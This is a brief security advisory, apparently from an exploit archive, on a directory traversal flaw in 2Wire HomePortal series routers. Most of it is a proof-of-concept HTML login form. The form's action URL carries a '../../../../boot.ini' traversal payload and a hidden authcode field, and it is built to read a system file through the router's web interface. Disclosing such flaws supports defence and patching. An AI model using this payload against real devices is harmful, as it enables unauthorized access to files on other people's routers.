2Wire HomePortal Series Directory Traversal Vulnerability

2Wire HomePortal Series Directory Traversal Vulnerability

No exploit is required. The following example was provided:

<form name="wralogin" method="get"
action="http://www.example.com/wra/public/wralogin/?error=61&return=password/../../../../boot.ini">
<input type="hidden" name="authcode" value="MUQmqC/sBiXfslfYEooIJg==">
<center>
<input type="password" name="password" value="">
<input type="submit" alt="Submit" width="58" height="19" border="0"></td>
</form>
</body>
</html>